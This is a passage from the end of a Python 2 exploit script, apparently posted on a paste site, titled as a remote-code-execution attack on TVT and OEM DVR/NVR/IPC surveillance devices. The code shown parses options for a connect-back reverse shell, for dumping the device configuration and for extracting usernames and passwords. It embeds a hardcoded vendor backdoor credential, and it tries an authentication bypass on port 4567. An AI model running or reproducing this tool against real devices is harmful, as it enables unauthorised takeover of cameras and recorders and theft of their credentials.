  781. tmp = response.split()[6] # Content-Length:
  782. else:
  783. tmp = False
  784. buf += response
  785.  
  786. if int(tmp) and int(tmp) > self.BUFFER_SIZE:
  787. try:
  788. while True:
  789. if len(buf.split()[12]) == int(tmp):
  790. break
  791. if self.sock:
  792. response = self.sock.recv(self.BUFFER_SIZE)
  793. else:
  794. break
  795. buf += response
  796. except Exception as e:
  797. print "[!] Error ({})".format(e)
  798. self.sock.close()
  799. sys.exit(1)
  800. return buf
  801.  
  802.  
  803. if __name__ == "__main__":
  804.  
  805. INFO = '\nTVT & OEM {DVR/NVR/IPC} API RCE (2018 bashis)\n'
  806.  
  807. rhost = '192.168.57.20' # Default Remote HOST
  808. rport = '80' # Default Remote PORT
  809. lhost = '192.168.57.1' # Default Local HOST
  810. lport = '1337' # Default Local PORT
  811.  
  812. HTTP = "http"
  813. HTTPS = "https"
  814. proto = HTTP
  815. verbose = False
  816. noexploit = False
  817. raw_request = True
  818. # credentials = 'admin:123456' # Default l/p
  819. credentials = 'admin:{12213BD1-69C7-4862-843D-260500D1DA40}' # Hardcoded HTTP/HTTPS API l/p
  820.  
  821. headers = {
  822. 'Connection': 'close',
  823. 'Content-Type' : 'application/x-www-form-urlencoded',
  824. 'Accept' : 'gzip, deflate',
  825. 'Accept-Language' : 'en-US,en;q=0.8',
  826. 'Cache-Control' : 'max-age=0',
  827. 'User-Agent':'ApiTool'
  828. }
  829.  
  830. try:
  831. arg_parser = argparse.ArgumentParser(
  832. prog=sys.argv[0],
  833. description=('[*] '+ INFO +' [*]'))
  834. arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
  835. arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']')
  836. arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
  837. arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
  838. arg_parser.add_argument('--autoip', required=False, default=False, action='store_true', help='Detect External Connect Back IP [Default: False]')
  839.  
  840. arg_parser.add_argument('--getrce', required=False, default=False, action='store_true', help='Remote Command Execution (Reverse Shell)')
  841. arg_parser.add_argument('--getdump', required=False, default=False, action='store_true', help='Dump System Config from remote target')
  842. arg_parser.add_argument('--getinfo', required=False, default=False, action='store_true', help='Extract some device info from remote target')
  843. arg_parser.add_argument('--getcreds', required=False, default=False, action='store_true', help='Extract username/password from remote target')
  844. arg_parser.add_argument('--getQR', required=False, default=False, action='store_true', help='Get and save QR Code Image [<rhost>_QR.png]')
  845. arg_parser.add_argument('--getlogin', required=False, default=False, action='store_true', help='Login PoC at remote target')
  846.  
  847. if credentials:
  848. arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ credentials + ']')
  849. arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
  850. arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
  851. arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')
  852. args = arg_parser.parse_args()
  853. except Exception as e:
  854. print INFO,"\nError: {}\n".format(str(e))
  855. sys.exit(1)
  856.  
  857. print INFO
  858.  
  859. request = ''
  860. if args.getrce:
  861. cmd = 'RCE'
  862. elif args.getdump:
  863. cmd = 'DumpSystemConfig'
  864. request = 'requestSystemConfig'
  865. elif args.getinfo:
  866. cmd = 'GetInfo'
  867. request = 'requestSystemConfig'
  868. elif args.getcreds:
  869. cmd = 'GetUsernamePassword'
  870. request = 'requestSystemConfig'
  871. elif args.getQR:
  872. cmd = 'queryQRInfo'
  873. request = 'queryQRInfo'
  874. elif args.getlogin:
  875. cmd = 'doLogin'
  876. request = 'doLogin'
  877. else:
  878. print "[!] Choose something to do...\n[--getrce | --getdump | --getinfo | --getcreds | --getQR | --getlogin]"
  879. sys.exit(1)
  880.  
  881. if args.https:
  882. proto = HTTPS
  883. if not args.rport:
  884. rport = '443'
  885.  
  886. if credentials and args.auth:
  887. credentials = args.auth
  888.  
  889. if args.noexploit:
  890. noexploit = args.noexploit
  891.  
  892. if args.verbose:
  893. verbose = True
  894.  
  895. if args.rport:
  896. rport = args.rport
  897.  
  898. if args.rhost:
  899. rhost = args.rhost
  900.  
  901. if args.lport:
  902. lport = args.lport
  903.  
  904. if args.lhost:
  905. lhost = args.lhost
  906. elif args.autoip:
  907. # HTTP check of our external IP
  908. try:
  909.  
  910. headers = {
  911. 'Connection': 'close',
  912. 'Accept' : 'gzip, deflate',
  913. 'Accept-Language' : 'en-US,en;q=0.8',
  914. 'Cache-Control' : 'max-age=0',
  915. 'User-Agent':'ApiTool'
  916. }
  917.  
  918. print "[>] Trying to find out my external IP"
  919. lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None)
  920. if verbose:
  921. print "[Verbose] Detected my external IP:",lhost
  922. except Exception as e:
  923. print "[<] ",e
  924. sys.exit(1)
  925.  
  926. # Check if RPORT is valid
  927. if not Validate(verbose).Port(rport):
  928. print "[!] Invalid RPORT - Choose between 1 and 65535"
  929. sys.exit(1)
  930.  
  931. # Check if LPORT is valid
  932. if not Validate(verbose).Port(lport):
  933. print "[!] Invalid LPORT - Choose between 1 and 65535"
  934. sys.exit(1)
  935.  
  936. # Check if RHOST is valid IP or FQDN, get IP back
  937. rhost = Validate(verbose).Host(rhost)
  938. if not rhost:
  939. print "[!] Invalid RHOST"
  940. sys.exit(1)
  941.  
  942. # Check if LHOST is valid IP or FQDN, get IP back
  943. lhost = Validate(verbose).Host(lhost)
  944. if not lhost:
  945. print "[!] Invalid LHOST"
  946. sys.exit(1)
  947.  
  948. #
  949. # Validation done, start print out stuff to the user
  950. #
  951. if args.https:
  952. print "[i] HTTPS / SSL Mode Selected"
  953. print "[i] Remote target IP:",rhost
  954. print "[i] Remote target PORT:",rport
  955. if cmd == 'RCE':
  956. print "[i] Connect back IP:",lhost
  957. print "[i] Connect back PORT:",lport
  958.  
  959.  
  960. #
  961. # HTTP API with hardcoded authentication on TCP/4567 to NVMS9000 (bypass of ConfigSyncProc)
  962. #
  963. if args.rport == '4567':
  964. print "[!] Be aware that remote HTTP/HTTPS access will not work until reboot!"
  965. TVT(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).APIConfigClient(lhost, lport, cmd, request)
  966.  
  967. #
  968. # HTTP/HTTPS API with hardcoded password (ConfigSyncProc)
  969. # admin:{12213BD1-69C7-4862-843D-260500D1DA40}
  970. else:
  971. print "[!] Trying w/ credentials: {}".format(credentials)
  972. if not(TVT(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).APIConfigClient(lhost, lport, cmd, request)):
  973. credentials = 'root:{12213BD1-69C7-4862-843D-260500D1DA40}'
  974. print "[!] Trying w/ credentials: {}".format(credentials)
  975. TVT(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).APIConfigClient(lhost, lport, cmd, request)
  976. print "[i] All done"
  977.  
  978.  
  979. # [EOF]
Add Comment
Please, Sign In to add comment